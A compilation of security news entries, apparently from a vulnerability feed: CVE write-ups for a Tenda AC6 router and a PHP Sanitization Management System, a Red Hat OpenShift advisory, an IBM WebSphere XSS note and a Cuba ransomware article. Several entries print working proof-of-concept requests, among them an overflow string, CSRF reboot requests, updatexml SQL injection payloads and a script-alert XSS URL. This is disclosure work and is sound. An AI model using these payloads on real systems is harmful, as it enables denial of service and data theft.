Tenda AC6V1.0 V15.03.05.19 was discovered to contain a buffer overflow via the timeZone parameter in the form_fast_setting_wifi_set function.

Permalink

Cannot retrieve contributors at this time

**Tenda AC6V1.0 V15.03.05.19 was discovered to contain a buffer overflow via the timeZone parameter in the form\_fast\_setting\_wifi\_set function.****Description**

Tenda Router **AC6V1.0 V15.03.05.19** was discovered to contain a buffer overflow in the httpd module when handling /goform/fast_setting_wifi_set request.

**Firmware information**

*   Manufacturer's address: https://www.tenda.com.cn/
    
*   Firmware download address : https://www.tenda.com.cn/download/detail-2681.html
    

**Affected version**

**Vulnerability details**

This vulnerability lies in the /goform/fast_setting_wifi_set page，The details are shown below:

**POC**

This POC can result in a Dos.

    POST /goform/fast_setting_wifi_set HTTP/1.1
    Host: 192.168.204.133
    Content-Length: 1391
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.204.133
    Referer: http://192.168.204.133/parental_control.html?random=0.7058891673130268&
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: password=iqb1qw; bLanguage=cn
    Connection: close
    
    ssid=1&timeZone=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2022-45655: CVE-vulns/form_fast_setting_wifi_set_timeZone.md at main · Double-q1015/CVE-vulns

Tenda AC6V1.0 V15.03.05.19 is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolRestoreSet.

Tenda Router **AC6V1.0 V15.03.05.19** is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolRestoreSet

This vulnerability lies in the /goform/fromSysToolRestoreSet page，The details are shown below:

This POC can result in a Dos.

    GET /goform/SysToolRestoreSet HTTP/1.1
    Host: 192.168.204.133
    Content-Length: 11525
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.204.133
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.204.133/system_hostname.asp?version=1487847846
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: bLanguage=cn; password=jbl1qw; user=
    Connection: close

CVE-2022-45673: VulnerabilityProjectRecords/fromSysToolRestoreSet.md at main · iceyjchen/VulnerabilityProjectRecords

Tenda AC6V1.0 V15.03.05.19 is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolReboot.

Tenda Router **AC6V1.0 V15.03.05.19** is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolReboot

This vulnerability lies in the /goform/SysToolReboot page，The details are shown below:

This POC can result in a Dos.

    GET /goform/SysToolReboot HTTP/1.1
    Host: 192.168.204.133
    Content-Length: 11525
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.204.133
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.204.133/system_hostname.asp?version=1487847846
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: bLanguage=cn; password=jbl1qw; user=
    Connection: close

CVE-2022-45674: VulnerabilityProjectRecords/fromSysToolReboot.md at main · iceyjchen/VulnerabilityProjectRecords

Sanitization Management System v1.0 is vulnerable to SQL Injection via /php-sms/classes/Master.php?f=delete_product.

**Sanitization Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: Lee

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15770/sanitization-management-system-project-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Execute the following statement to create the "product\_list" table

CREATE TABLE \`product\_list\` (
  \`id\` int(11) NOT NULL
) ENGINE\=InnoDB DEFAULT CHARSET\=utf8mb4;
COMMIT;

Vulnerability File: /php-sms/classes/Master.php?f=delete\_product

Vulnerability location: /php-sms/classes/Master.php?f=delete\_product, id

dbname =sms\_db,length=6

\[+\] Payload: id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /php\-sms/classes/Master.php?f\=delete\_product HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.88/php-sms/admin/?page=services
Content-Length: 65
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq
Connection: close
id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

CVE-2022-44277: bug_report/SQLi-1.md at main · llwyx200113/bug_report

Sanitization Management System v1.0 is vulnerable to SQL Injection via /php-sms/admin/?page=inquiries/view_inquiry&id=.

**Sanitization Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: BGP-OSPF

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15770/sanitization-management-system-project-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-sms/admin/?page=inquiries/view\_inquiry&id=

Vulnerability location: /php-sms/admin/?page=inquiries/view\_inquiry&id=, id

dbname =sms\_db,length=6

\[+\] Payload: /php-sms/admin/?page=inquiries/view\_inquiry&id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /php\-sms/admin/?page\=inquiries/view\_inquiry&id\=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq
Connection: close

CVE-2022-44347: bug_report/SQLi-2.md at main · BGP-OSPF/bug_report

Sanitization Management System v1.0 is vulnerable to SQL Injection via /php-sms/admin/?page=quotes/view_quote&id=.

**Sanitization Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: BGP-OSPF

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15770/sanitization-management-system-project-php-and-mysql-free-source-code.html

The program is built using the xmappA-php8.1 version

Vulnerability File: /php-sms/admin/?page=quotes/view\_quote&id=

Vulnerability location: /php-sms/admin/?page=quotes/view\_quote&id=, id

dbname =sms\_db,length=6

\[+\] Payload: /php-sms/admin/?page=quotes/view\_quote&id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /php\-sms/admin/?page\=quotes/view\_quote&id\=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq
Connection: close

CVE-2022-44345: bug_report/SQLi-1.md at main · BGP-OSPF/bug_report

Sanitization Management System v1.0 is vulnerable to SQL Injection via /php-sms/admin/orders/update_status.php?id=.

**Sanitization Management System v1.0 by oretnom23 has SQL injection**

BUG\_Author: BGP-OSPF

Login account: admin/admin123 (Super Admin account)

vendors: https://www.sourcecodester.com/php/15770/sanitization-management-system-project-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-sms/admin/orders/update\_status.php?id=

Vulnerability location: /php-sms/admin/orders/update\_status.php?id=, id

dbname =sms\_db,length=6

\[+\] Payload: /php-sms/admin/orders/update\_status.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id

GET /php\-sms/admin/orders/update\_status.php?id\=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq
Connection: close

CVE-2022-44348: bug_report/SQLi-3.md at main · BGP-OSPF/bug_report

Red Hat Security Advisory 2022-8750-01 - OpenShift Virtualization is Red Hat's virtualization solution designed for Red Hat OpenShift Container Platform. Issues addressed include denial of service and out of bounds read vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: OpenShift Virtualization 4.11.1 security and bug fix update  
Advisory ID:       RHSA-2022:8750-01  
Product:           cnv  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:8750  
Issue date:        2022-12-01  
CVE Names:         CVE-2015-20107 CVE-2016-3709 CVE-2020-0256  
                   CVE-2020-35525 CVE-2020-35527 CVE-2021-0308  
                   CVE-2021-38561 CVE-2022-0391 CVE-2022-0934  
                   CVE-2022-1292 CVE-2022-1304 CVE-2022-1586  
                   CVE-2022-1785 CVE-2022-1897 CVE-2022-1927  
                   CVE-2022-2068 CVE-2022-2097 CVE-2022-2509  
                   CVE-2022-3515 CVE-2022-22624 CVE-2022-22628  
                   CVE-2022-22629 CVE-2022-22662 CVE-2022-24675  
                   CVE-2022-24795 CVE-2022-24921 CVE-2022-25308  
                   CVE-2022-25309 CVE-2022-25310 CVE-2022-26700  
                   CVE-2022-26709 CVE-2022-26710 CVE-2022-26716  
                   CVE-2022-26717 CVE-2022-26719 CVE-2022-27404  
                   CVE-2022-27405 CVE-2022-27406 CVE-2022-28327  
                   CVE-2022-29154 CVE-2022-30293 CVE-2022-30629  
                   CVE-2022-30698 CVE-2022-30699 CVE-2022-32206  
                   CVE-2022-32208 CVE-2022-34903 CVE-2022-37434  
                   CVE-2022-38177 CVE-2022-38178 CVE-2022-40674  
====================================================================  
1. Summary:

Red Hat OpenShift Virtualization release 4.11.1 is now available with  
updates to packages and images that fix several bugs and add enhancements.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Description:

OpenShift Virtualization is Red Hat's virtualization solution designed for  
Red Hat OpenShift Container Platform.

Security Fix(es):

* golang: out-of-bounds read in golang.org/x/text/language leads to DoS  
(CVE-2021-38561)

* golang: encoding/pem: fix stack overflow in Decode (CVE-2022-24675)

* golang: regexp: stack exhaustion via a deeply nested expression  
(CVE-2022-24921)

* golang: crypto/elliptic: panic caused by oversized scalar  
(CVE-2022-28327)

* golang: crypto/tls: session tickets lack random ticket_age_add  
(CVE-2022-30629)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

Bug Fix(es):

* Cloning a Block DV to VM with Filesystem with not big enough size comes  
to endless loop - using pvc api (BZ#2033191)

* Restart of VM Pod causes SSH keys to be regenerated within VM  
(BZ#2087177)

* Import gzipped raw file causes image to be downloaded and uncompressed to  
TMPDIR (BZ#2089391)

* [4.11] VM Snapshot Restore hangs indefinitely when backed by a  
snapshotclass (BZ#2098225)

* Fedora version in DataImportCrons is not 'latest' (BZ#2102694)

* [4.11] Cloned VM's snapshot restore fails if the source VM disk is  
deleted (BZ#2109407)

* CNV introduces a compliance check fail in "ocp4-moderate" profile -  
routes-protected-by-tls (BZ#2110562)

* Nightly build: v4.11.0-578: index format was changed in 4.11 to  
file-based instead of sqlite-based (BZ#2112643)

* Unable to start windows VMs on PSI setups (BZ#2115371)

* [4.11.1]virt-launcher cannot be started on OCP 4.12 due to PodSecurity  
restricted:v1.24 (BZ#2128997)

* Mark Windows 11 as TechPreview (BZ#2129013)

* 4.11.1 rpms (BZ#2139453)

This advisory contains the following OpenShift Virtualization 4.11.1  
images.

RHEL-8-CNV-4.11

virt-cdi-operator-container-v4.11.1-5  
virt-cdi-uploadserver-container-v4.11.1-5  
virt-cdi-apiserver-container-v4.11.1-5  
virt-cdi-importer-container-v4.11.1-5  
virt-cdi-controller-container-v4.11.1-5  
virt-cdi-cloner-container-v4.11.1-5  
virt-cdi-uploadproxy-container-v4.11.1-5  
checkup-framework-container-v4.11.1-3  
kubevirt-tekton-tasks-wait-for-vmi-status-container-v4.11.1-7  
kubevirt-tekton-tasks-create-datavolume-container-v4.11.1-7  
kubevirt-template-validator-container-v4.11.1-4  
virt-handler-container-v4.11.1-5  
hostpath-provisioner-operator-container-v4.11.1-4  
virt-api-container-v4.11.1-5  
vm-network-latency-checkup-container-v4.11.1-3  
cluster-network-addons-operator-container-v4.11.1-5  
virtio-win-container-v4.11.1-4  
virt-launcher-container-v4.11.1-5  
ovs-cni-marker-container-v4.11.1-5  
hyperconverged-cluster-webhook-container-v4.11.1-7  
virt-controller-container-v4.11.1-5  
virt-artifacts-server-container-v4.11.1-5  
kubevirt-tekton-tasks-modify-vm-template-container-v4.11.1-7  
kubevirt-tekton-tasks-disk-virt-customize-container-v4.11.1-7  
libguestfs-tools-container-v4.11.1-5  
hostpath-provisioner-container-v4.11.1-4  
kubevirt-tekton-tasks-disk-virt-sysprep-container-v4.11.1-7  
kubevirt-tekton-tasks-copy-template-container-v4.11.1-7  
cnv-containernetworking-plugins-container-v4.11.1-5  
bridge-marker-container-v4.11.1-5  
virt-operator-container-v4.11.1-5  
hostpath-csi-driver-container-v4.11.1-4  
kubevirt-tekton-tasks-create-vm-from-template-container-v4.11.1-7  
kubemacpool-container-v4.11.1-5  
hyperconverged-cluster-operator-container-v4.11.1-7  
kubevirt-ssp-operator-container-v4.11.1-4  
ovs-cni-plugin-container-v4.11.1-5  
kubevirt-tekton-tasks-cleanup-vm-container-v4.11.1-7  
kubevirt-tekton-tasks-operator-container-v4.11.1-2  
cnv-must-gather-container-v4.11.1-8  
kubevirt-console-plugin-container-v4.11.1-9  
hco-bundle-registry-container-v4.11.1-49

3. Solution:

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

2033191 - Cloning a Block DV to VM with Filesystem with not big enough size comes to endless loop - using pvc api  
2064857 - CVE-2022-24921 golang: regexp: stack exhaustion via a deeply nested expression  
2070772 - When specifying pciAddress for several SR-IOV NIC they are not correctly propagated to libvirt XML  
2077688 - CVE-2022-24675 golang: encoding/pem: fix stack overflow in Decode  
2077689 - CVE-2022-28327 golang: crypto/elliptic: panic caused by oversized scalar  
2087177 - Restart of VM Pod causes SSH keys to be regenerated within VM  
2089391 - Import gzipped raw file causes image to be downloaded and uncompressed to TMPDIR  
2091856 - ?Edit BootSource? action should have more explicit information when disabled  
2092793 - CVE-2022-30629 golang: crypto/tls: session tickets lack random ticket_age_add  
2098225 - [4.11] VM Snapshot Restore hangs indefinitely when backed by a snapshotclass  
2100495 - CVE-2021-38561 golang: out-of-bounds read in golang.org/x/text/language leads to DoS  
2102694 - Fedora version in DataImportCrons is not 'latest'  
2109407 - [4.11] Cloned VM's snapshot restore fails if the source VM disk is deleted  
2110562 - CNV introduces a compliance check fail in "ocp4-moderate" profile - routes-protected-by-tls  
2112643 - Nightly build: v4.11.0-578: index format was changed in 4.11 to file-based instead of sqlite-based  
2115371 - Unable to start windows VMs on PSI setups  
2119613 - GiB changes to B in Template's Edit boot source reference modal  
2128554 - The storageclass of VM disk is different from quick created and customize created after changed the default storageclass  
2128872 - [4.11]Can't restore cloned VM  
2128997 - [4.11.1]virt-launcher cannot be started on OCP 4.12 due to PodSecurity restricted:v1.24  
2129013 - Mark Windows 11 as TechPreview  
2129235 - [RFE] Add "Copy SSH command" to VM action list  
2134668 - Cannot edit ssh even vm is stopped  
2139453 - 4.11.1 rpms

5. References:

https://access.redhat.com/security/cve/CVE-2015-20107  
https://access.redhat.com/security/cve/CVE-2016-3709  
https://access.redhat.com/security/cve/CVE-2020-0256  
https://access.redhat.com/security/cve/CVE-2020-35525  
https://access.redhat.com/security/cve/CVE-2020-35527  
https://access.redhat.com/security/cve/CVE-2021-0308  
https://access.redhat.com/security/cve/CVE-2021-38561  
https://access.redhat.com/security/cve/CVE-2022-0391  
https://access.redhat.com/security/cve/CVE-2022-0934  
https://access.redhat.com/security/cve/CVE-2022-1292  
https://access.redhat.com/security/cve/CVE-2022-1304  
https://access.redhat.com/security/cve/CVE-2022-1586  
https://access.redhat.com/security/cve/CVE-2022-1785  
https://access.redhat.com/security/cve/CVE-2022-1897  
https://access.redhat.com/security/cve/CVE-2022-1927  
https://access.redhat.com/security/cve/CVE-2022-2068  
https://access.redhat.com/security/cve/CVE-2022-2097  
https://access.redhat.com/security/cve/CVE-2022-2509  
https://access.redhat.com/security/cve/CVE-2022-3515  
https://access.redhat.com/security/cve/CVE-2022-22624  
https://access.redhat.com/security/cve/CVE-2022-22628  
https://access.redhat.com/security/cve/CVE-2022-22629  
https://access.redhat.com/security/cve/CVE-2022-22662  
https://access.redhat.com/security/cve/CVE-2022-24675  
https://access.redhat.com/security/cve/CVE-2022-24795  
https://access.redhat.com/security/cve/CVE-2022-24921  
https://access.redhat.com/security/cve/CVE-2022-25308  
https://access.redhat.com/security/cve/CVE-2022-25309  
https://access.redhat.com/security/cve/CVE-2022-25310  
https://access.redhat.com/security/cve/CVE-2022-26700  
https://access.redhat.com/security/cve/CVE-2022-26709  
https://access.redhat.com/security/cve/CVE-2022-26710  
https://access.redhat.com/security/cve/CVE-2022-26716  
https://access.redhat.com/security/cve/CVE-2022-26717  
https://access.redhat.com/security/cve/CVE-2022-26719  
https://access.redhat.com/security/cve/CVE-2022-27404  
https://access.redhat.com/security/cve/CVE-2022-27405  
https://access.redhat.com/security/cve/CVE-2022-27406  
https://access.redhat.com/security/cve/CVE-2022-28327  
https://access.redhat.com/security/cve/CVE-2022-29154  
https://access.redhat.com/security/cve/CVE-2022-30293  
https://access.redhat.com/security/cve/CVE-2022-30629  
https://access.redhat.com/security/cve/CVE-2022-30698  
https://access.redhat.com/security/cve/CVE-2022-30699  
https://access.redhat.com/security/cve/CVE-2022-32206  
https://access.redhat.com/security/cve/CVE-2022-32208  
https://access.redhat.com/security/cve/CVE-2022-34903  
https://access.redhat.com/security/cve/CVE-2022-37434  
https://access.redhat.com/security/cve/CVE-2022-38177  
https://access.redhat.com/security/cve/CVE-2022-38178  
https://access.redhat.com/security/cve/CVE-2022-40674  
https://access.redhat.com/security/updates/classification/#moderate

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBY4lNCdzjgjWX9erEAQhXxhAAjaag4e7jIpQLpc0kJhc/hn59M4UIxn8v  
a1L+lD58IrBfY3KAtSAK0t3ei92Lyf8LCJqm027yGlIskeCV91vkO9ZpJhPfRasU  
u1a8Uhd/5F6caB0xUPX26vyCyksalw17CNmLWh5wd2izhkOGctkgVD7LhsVzXbFh  
tIomeVp/hVwW9ILX03ijss27E6m2ZUczgWmuNpviqW8WRFMUw3ZM+1MxnSDHxURe  
H28dsj2l7nrshdBGrZeuj2HBoA0/x3Vsc2jiXfP8nt7LcQ/pb1DN4MYo6lAAEVkC  
O2LlzTAzw/3MAGofaRinyHZD2aoqicPqooUIQglBbF6cvYAUrMtxRCwKcZOckE3d  
F2exKjihBY3JeLlsjpWXBe0yAhdwse7j0oovNL2uQH1imUr7Y1pXVlJqeDzHkzME  
MIRKzuuTGJe1D9Av4S8R+W5eT7iXBAH7x9Lia1NFxeflemVQbyr8ayEMLcmiDuyj  
xMKYFFpW9GmplZlCnDaG5lxKu8ZbOkRzanaLeLn+G5j1+1w9Y9wGtlXJIHV6gmfC  
Wk33MBCpqCGg1Wz+SlXJCtksnYmvKdzn79b2HInvPJtndDQ/VidcN2MuJfkYe688  
2m3FYMI0ehPummvv3iGXLz5ku6gD6y0qNhNWC6HM+hLNnPvvukXXcFgCyonJuv0I  
AqwDoKa8myM=pIHc  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-8750-01

IBM Websphere Application Server version 7.0 persistent cross site scripting vulnerability proof of concept details.

    # Exploit Title: IBM Websphere Application Server 7.0 - Persistent Cross-Site Scripting (Authenticated)# Date: 2022-12-02# Author: Milad karimi# Software Link: https://www.ibm.com/support/pages/6107-websphere-application-server-v61-fix-pack-7-windows# Version: 7.0# Tested on: Windows 10# CVE: 2009-08551. Description:This plugin creates a IBM Websphere Application Server from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.2. Proof of Concept:http://www.example.com/ibm/console/<script>alert('Ex3ptionaL_XSS')</script>http://www.example.com/ibm/console/<script>alert('Ex3ptionaL_XSS')</script>.jsp

In the latest #StopRansomware effort of publicizing ransomware information for network defenders, the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have issued a joint Cybersecurity Advisory (CSA) on the ransomware known as "Cuba." Though named "Cuba," the ransomware and its operators have no known link to the country. The recent advisory is reportedly an update from an FBI Flash notice on December 2021. As such, updated tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) are included in this advisory.

Since the aforementioned FBI Flash notice, CISA and the FBI have noted that US-based organizations victimized by Cuba ransomware have doubled. Third-party and open-source reports have also discovered a possible connection between Cuba ransomware actors, RomCom RAT (remote access Trojan) actors, and Industrial Spy ransomware actors. 

**Cuba ransomware 101**

Despite its name, threat actors behind Cuba ransomware haven't indicated a connection or affiliation with the Republic of Cuba.

Cuba ransomware is a Windows malware written in C++ that surfaced in late 2019. Like other ransomware groups, its threat actors use double extortion tactics, predominantly targeting organizations in the US in five critical infrastructure sectors: critical manufacturing, financial services, government facilities, healthcare and public health, and information technology. All stolen sensitive information is posted to their leak site, accessible only via Tor, the online tool that allows for anonymous browsing and internet connections.

Overview of Cuba ransomware’s leak page, ransom note, and a trove of encrypted files.  
(Source: Malwarebytes Threat Intelligence Team)

This ransomware arrives on target networks via spam campaigns, meaning emails are sent out to organizations with no particular target. In more recent campaigns, the Cuba ransomware has been seen being dropped by the malware downloader Hancitor (also known as Chancitor).

The spam email contains a download link where a Word document with malicious macros can be downloaded and opened. If users enable the macro when prompted, this document extracts and executes Hancitor. This malware then communicates with its command-and-control (C2) server to download several tools, facilitate lateral movement, and extract data.

It then drops and installs Cuba ransomware using PowerShell or PsExec.

Cuba ransomware has already been involved in several noteworthy attacks. In February 2021, it hit the widely used payment processor Automatic Funds Transfer Services (AFTS), affecting cities and agencies in Washington and California. In October 2022, Cuba ransomware threat actors impersonated the press office of the General Staff of the Armed Forces of Ukraine in a phishing campaign. According to Profero, a company specializing in rapid incident response involved in negotiations between Cuba ransomware victims and attackers, the threat actors speak Russian.

**Mitigating Cuba ransomware attacks**

CISA and the FBI issued mitigations for network defenders to follow to reduce attack risks from Cuba ransomware. Some of these are as follows:

*   Create and implement a recovery plan (if you don’t have one yet) to maintain and retain copies of pertinent and proprietary data.
*   All accounts that use passwords must at least comply with National Institute for Standards and Technology (NIST) standards.
*   Enable multi-factor authentication (MFA) on all accounts, especially those that access critical systems.
*   Ensure all software you use are updated to their latest versions and fully patched.
*   Audit accounts, paying particular attention to those with administrator privileges, and configure control accordingly.

You can read the complete and detailed list of recommended mitigations on this page. Various IOCs (associated files, email addresses, a Jabber address, IP addresses, Bitcoin wallets, and ransom notes) and MITRE ATT&CK techniques are also found on that page.

**We don't just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Tag

#windows